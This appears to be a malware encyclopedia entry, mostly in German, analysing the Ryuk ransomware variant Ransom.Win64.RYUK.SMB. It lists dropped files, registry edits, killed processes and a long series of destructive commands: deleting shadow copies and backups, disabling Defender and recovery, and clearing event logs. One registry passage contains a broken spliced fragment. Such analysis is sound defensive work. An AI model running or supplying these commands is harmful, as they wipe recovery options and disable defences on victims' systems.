Ransom.Win64.RYUK.SMB

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Übertragungsdetails

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

Schleust die folgenden Dateien ein:

• {Encrypted Directory}\hrmlog1
• %All Users Profile%\hrmlog2
• %All Users Profile%\nons
• %All Users Profile%\ryuk.exe
• %All Users Profile%\RYUKID
• {Encrypted Directory}RyukReadMe.html
• {Encrypted Directory}\RyukReadMe.txt
• %programdata%\Microsoft\windows\StartMenu\Programs\Startup\ryuk.exe

Fügt die folgenden Prozesse hinzu:

• %System%\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN RYUK /TR C:ProgramData\ryuk.exe /RU SYSTEM /RL HIGHEST /F
• %System%\cmd.exe /c copy C:\ProgramData\ryuk.exe\"%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\ryuk.exe
• %System%\cmd.exe /c copy C:\ProgramData\ryuk.exe\"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ryuk.exe
• %System%\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN RYUK /TR C:\ProgramData\ryuk.exe /F
• %System%\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN ryk /TR {malware filepath} /RU SYSTEM /RL HIGHEST /F
• %System%\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN RyuK /TR {malware filepath} /F
• %System%\cmd.exe /c attrbi +h +s \"%appdata%\Microsoft\windows\StartMenu\Programs\Startup\ryuk.exe\"
• %System%\cmd.exe /c attrbi +h +s ryuk.exe
• %System%\cmd.exe /c attrbi +h +s C:\ProgramData\ryuk.exe
• start cmd.exe /c icacls * grant Everyone: (OI)(CI)F /T /C /Q
• start cmd.exe /c taskkill /t /f /im sql* && taskkill /f /t /im veeam* && taskkill /F /T /IM MSExchange* && taskkill /F /T /IM MSExchange* && taskkill /F /T /IM pvx* && taskkill /F /T /IM dbsrv* && exit
• %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
• %System%\cmd.exe /c Copy hrmlog1 %ProgramData%\hrmlog1
• %System%\cmd.exe /c Copy hrmlog2 %ProgramData%\hrmlog2
• %System%\cmd.exe /c Copy RYUKID %ProgramData%\RYUKID
• %System%\cmd.exe /c Copy RYUKID %ProgramData%\RyukReadMe.html
• %System%\cmd.exe /c Copy %ProgramData%\hrmlog1 %userprofile%\Desktop\hrmlog1
• %System%\cmd.exe /c Copy %ProgramData%\RyukReadMe.txt %userprofile%\Desktop\RyukReadMe.txt
• %System%\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
• %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender /v DisableAntiSpyware /t REG_DWORD /d 1 /f
• %System%\cmd.exe /c reg delete HKEY_CURRENT_USER\System\CurrentControlSet\Control\SafeBoot /va /F
• %System%\cmd.exe /c reg delete HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot /va /F
• start cmd.exe /c \"C:\ProgramData\RyukReadMe.txt \" && exit
• start cmd.exe /c vssadmin Delete Shadows /All /Quiet
• start cmd.exe /c wmic shadowcopy delete
• start cmd.exe /c bcdedit /set {default} boostatuspolicy ignoreallfailures
• start cmd.exe /c bcdedit /set {default} recoveryenabled no
• start cmd.exe /c wbadmin delete catalog -quiet/
• %System%\cmd.exe /c net stop avpsus /y
• %System%\cmd.exe /c net stop McAfeeDLPAgentService /y
• %System%\cmd.exe /c net stop mfewc /y
• %System%\cmd.exe /c net stop BMR Boot Service /y
• %System%\cmd.exe /c net stop NetBackup BMR MTFTP Service /y
• %System%\cmd.exe /c sc config SQLTELEMETRY$ECWDB2 start= disabled
• %System%\cmd.exe /c sc config SQLWriter start= disabled
• %System%\cmd.exe /c sc config SstpSvc start= disabled
• %System%\cmd.exe /c taskkill /IM mspub.exe /F
• %System%\cmd.exe /c taskkill /IM mydesktopqos.exe /F
• %System%\cmd.exe /c taskkill /IM mydesktopservice.exe /F
• %System%\cmd.exe /c vssadmin Delete Shadows /all /quiet
• %System%\cmd.exe /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB
• %System%\cmd.exe /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
• %System%\cmd.exe /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB
• %System%\cmd.exe /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
• %System%\cmd.exe /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
• %System%\cmd.exe /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
• %System%\cmd.exe /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
• %System%\cmd.exe /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
• %System%\cmd.exe /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
• %System%\cmd.exe /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
• %System%\cmd.exe /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
• %System%\cmd.exe /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
• %System%\cmd.exe /c vssadmin Delete Shadows /all /quiet
• %System%\cmd.exe /c del /s /f /q c:*.bac c:*.bak c:*.wbcat c:*.bkf c:Backup*.* c:\backup*.* c:*.set c:*.win
• %System%\cmd.exe /c del /s /f /q d:*.bac d:*.bak d:*.wbcat d:*.bkf d:Backup*.* d:\backup*.* d:*.set d:*.win
• %System%\cmd.exe /c del /s /f /q e:*.bac e:*.bak e:*.wbcat e:*.bkf e:Backup*.* e:\backup*.* e:*.set e:*.win
• %System%\cmd.exe /c del /s /f /q f:*.bac f:*.bak f:*.wbcat f:*.bkf f:Backup*.* f:\backup*.* f:*.set f:*.win
• %System%\cmd.exe /c del /s /f /q g:*.bac g:*.bak g:*.wbcat g:*.bkf g:Backup*.* g:\backup*.* g:*.set g:*.win
• %System%\cmd.exe /c del /s /f /q h:*.bac h:*.bak h:*.wbcat h:*.bkf h:Backup*.* h:\backup*.* h:*.set h:*.win
• %System%\cmd.exe /c del %0
• %System%\cmd.exe /c attrib +h +s hrmlog2
• %System%\cmd.exe /c attrib +h +s C:\ProgramData\hrmlog2
• %System%\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSearchFilesInStartMenu /t REG_DWORD /d 1 /f
• %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSearchProgramsInStartMenu /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoStartMenuMorePrograms /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSMConfigurePrograms /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoNetworkConnections /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Explorer /v TaskbarNoPinnedList /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoStartMenuPinnedList /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v HideSCANetwork /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v HideSCAHealth /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoLogoff /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDispCPL /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum /v {645FF040-5081-101B-9F08-00AA002F954E} /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\AppV\Client\Virtualization /v EnableDynamicVirtualization /t REG_DWORD /d 0 /f"
• %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WinRE /v DisableSetup /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add \"HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore\" /v DisableConfig /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add \"HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore\" /v DisableSR /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToDisk /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToNetwork /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToOptical /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupLauncher /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableRestoreUI /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupUI /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableSystemBackupUI /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v OnlySystemBackup /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToDisk /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToNetwork /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToOptical /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoRunNowBackup /t REG_DWORD /d 1 /f"
• %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System\{9580d7dd-0379-4658-9870-d5be7d52d6de} /v Enable /t REG_DWORD /d 0 /f"
• %System%\cmd.exe /c "schtasks /CREATE /SC ONLOGON /TN exp /TR C:\Windows\explorer.exe /F"
• %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f"
• %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 0 /f"
• %System%\cmd.exe /c "for /F \"tokens=*\" %s in ('wevtutil.exe el') DO wevtutil.exe cl \"%s\""
• %System%\cmd.exe /c "schtasks /CREATE /SC ONLOGON /TN exp /TR C:\Windows\explorer.exe /F
• %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f"
• %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 0 /f"

(Hinweis: %System% ist der Windows Systemordner. Er lautet in der Regel C:\Windows\System unter Windows 98 und ME, C:\WINNT\System32 unter Windows NT und 2000 sowie C:\Windows\System32 unter Windows 2000(32-bit), XP, Server 2003(32-bit), Vista, 7, 8, 8.1, 2008(64-bit), 2012(64bit) and 10(64-bit).)

Fügt die folgenden Mutexe hinzu, damit nur jeweils eine ihrer Kopien ausgeführt wird:

• rykmutex
• rykmutex2

Autostart-Technik

Schleust die folgenden Dateien in den Autostart-Ordner von Windows ein, um sich selbst bei jedem Systemstart auszuführen.

• %programdata%\Microsoft\windows\StartMenu\Programs\Startup\ryuk.exe

Andere Systemänderungen

Fügt die folgenden Registrierungseinträge hinzu:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
DisableTaskMgr = 1

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender
DisableAntiSpyware = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
NoSearchFilesInStartMenu = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
NoSearchProgramsInStartMenu = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
NoStartMenuMorePrograms = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
NoSMConfigurePrograms = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
NoNetworkConnections = 1

HKEY_CURRENT_USER\Software\Policies\
Microsoft\Windows\Explorer
TaskbarNoPinnedList = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
NoStartMenuPinnedList = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
NoRun = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
HideSCANetwork = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
HideSCAHealth = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
DisableChangePassword = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
DisableLockWorkstation = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
NoLogoff = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
NoDispCPL = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
NonEnum
{645FF040-5081-101B-9F08-00AA002F954E} = 1

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\AppV\Client\
Virtualization
EnableDynamicVirtualization = 0

osoft\AppV\Client\
Virtualization /v EnableDynamicVirtualization /t REG_DWORD /d 0 /f" %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\SOFTWARE\
Policies\Microsoft\Windows\
WinRE
DisableSetup = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows NT\SystemRestore
DisableConfig = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows NT\SystemRestore
DisableSR = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows\Backup\
Client
DisableBackupToDisk = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows\Backup\
Client
DisableBackupToNetwork = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows\Backup\
Client
DisableBackupToOptical = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows\Backup\
Client
DisableBackupLauncher = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows\Backup\
Client
DisableRestoreUI = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows\Backup\
Client
DisableBackupUI = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows\Backup\
Client
DisableSystemBackupUI = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows\Backup\
Server
OnlySystemBackup = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows\Backup\
Server
NoBackupToDisk = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows\Backup\
Server
NoBackupToNetwork = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows\Backup\
Server
NoBackupToOptical = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows\Backup\
Server
NoRunNowBackup = 1

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Control\WMI\Autologger\
EventLog-System\{9580d7dd-0379-4658-9870-d5be7d52d6de}
Enable = 0

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
DisableTaskMgr = 0

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
NoRun = 0

Prozessbeendigung

Beendet Prozesse oder Dienste, die einen oder mehrere dieser Zeichenfolgen enthalten, wenn sie im Speicher des betroffenen Systems ausgeführt werden:

• mms.exe
• schedul2.exe
• schedhelp.exe
• tib_mounter_monitor.exe
• SQLIOSIM.EXE
• Sqlagent.exe
• sqlmaint.exe
• sqlstubss.exe
• csrss.exe
• sqlceip.exe
• mstsc.exe
• taskmgr.exe
• sqlservr.exe
• QBIDPService.exe
• sqlserver.exe
• msftesql.exe
• sqlagent.exe
• sqlbrowser.exe
• sqlwriter.exe
• oracle.exe
• ocssd.exe
• dbsnmp.exe
• synctime.exe
• mydesktopqos.exe
• agntsvc.exe
• isqlpplussvc.exe
• isqlpussvc.exe
• xfssvccon.exe
• mydesktopservice.exe
• ocautoupds.exe
• encsvc.exe
• firefoxconfig.exe
• tbirdconfig.exe
• ocomm.exe
• mysqld.exe
• mysqld-nt.exe
• mysqld-opt.exe
• dbeng50.exe
• sqbcoreservice.exe
• excel.exe
• infopath.exe
• msaccess.exe
• mspub.exe
• onenote.exe
• outlook.exe
• powerpnt.exe
• stream.exe
• thebat.exe
• thebat64.exe
• Thunderbird.exe
• visio.exe
• winword.exe
• wordpad.exe
• notepad.exe
• paint.exe
• notepad++.exe
• endnote.exe
• vmwareuser.exe
• vmwareservice.exe
• vboxservice.exe
• vboxtray.exe
• Sandboxiedcomlaunch.exe
• procmon.exe
• regmon.exe
• filemon.exe
• wireshark.exe
• netmon.exe
• vmtoolsd.exe
• ntoskrnl.exe
• sqlwriter.exe
• sqlservr.exe
• Ssms.exe
• cbService.exe
• httpd.exe
• jusched.exe
• jucheck.exe
• javaw.exe
• java.exe
• iptray.exe
• Iperius.exe
• FileZilla.exe
• DataCollectorSvc.exe
• EdgeTransport.exe
• store.exe
• acrotray.exe
• agent.exe
• SageCSClient.exe
• wsusservice.exe
• slack.exe
• node.exe
• w3wp.exe
• mysqld.exe
• mysql.exe
• msmdsrv.exe
• MsDtsSrvr.exe
• fdlauncher.exe
• fdhost.exe
• Ssms.exe
• ReportingServicesService.exe
• dataCollect.EXE
• WINWORD.EXE
• OUTLOOK.EXE
• EXCEL.EXE
• Sage.NA.AT_AU.Service.exe
• Sage.NA.AT_AU.SysTray.exe

Andere Details

Es macht Folgendes:

• Empty RecycleBin
• Accepts the following parameters:
  • norunanayway → it wont proceed with its encryption routine
  • nostartup → it wont create its start up
  • openconsole → Show a Windows console
  • enabletask → Enable task scheduler